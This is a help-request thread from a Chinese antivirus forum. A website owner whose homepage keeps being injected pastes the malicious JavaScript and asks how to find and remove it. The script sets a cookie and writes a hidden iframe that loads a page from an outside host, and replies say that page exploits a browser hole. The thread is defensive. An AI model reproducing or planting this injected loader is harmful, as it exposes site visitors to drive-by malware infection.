瑞星卡卡安全论坛技术交流区恶意网站交流 求救:网站被黑恢复后总有代码删不掉,急求解!!!

123   3  /  3  页   跳转

[求助] 求救:网站被黑恢复后总有代码删不掉,急求解!!!

能不能帮着分析一下这段木马代码,急!

网站首页总被挂马,这是从挂马的网址里提取的,能不能帮着分析一下,看能不能在服务器上把这个病毒文件找出来删掉以!!跪求!!

function baiduuu(){
var Then = new Date()
Then.setTime(Then.getTime() + 12*60*60*1000)
var cookieString = new String(document.cookie)
var cookieHeader = "Cookvie1="
var beginPosition = cookieString.indexOf(cookieHeader)
if (beginPosition != -1){
} else
{
var xinsi="yztq";
var fire="<ifra"+"me sr";
document.cookie = "Cookvie1=mikaila;expires="+ Then.toGMTString()
document.write("<div style=\'dispaly:none;\' >");
document.write(fire+"c=http:\/\/vni.Jkub.com:89\/2\/niay.htm wid"+"th=100 hei"+"ght=0><\/ifr"+"ame>");
document.write("</div>");
}
}baiduuu();

用户系统信息:Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
gototop
 

回复 1F ying8125 的帖子

这是通过判断cookie来进行挂马操作啊,并不能通过这段代码找到相应的病毒文件。
gototop
 

回复 2F networkedition 的帖子

我该怎么在服务器上查找这段代码?清缓存和COOKIE?
您有没有好用的工具可以给推荐一下?谢谢
gototop
 

回复 3F ying8125 的帖子

主要是针对客户端的啊
gototop
 

回复:能不能帮着分析一下这段木马代码,急!

您是说这个代码不在服务器上?
gototop
 

回复:能不能帮着分析一下这段木马代码,急!

要不您加我一下QQ
gototop
 

回复:能不能帮着分析一下这段木马代码,急!

我QQ:79978070
gototop
 

回复:求救:网站被黑恢复后总有代码删不掉,急求解!!!

挂的网页代码应该是 利用暴雷漏洞的
gototop
 
123   3  /  3  页   跳转
页面顶部
Powered by Discuz!NT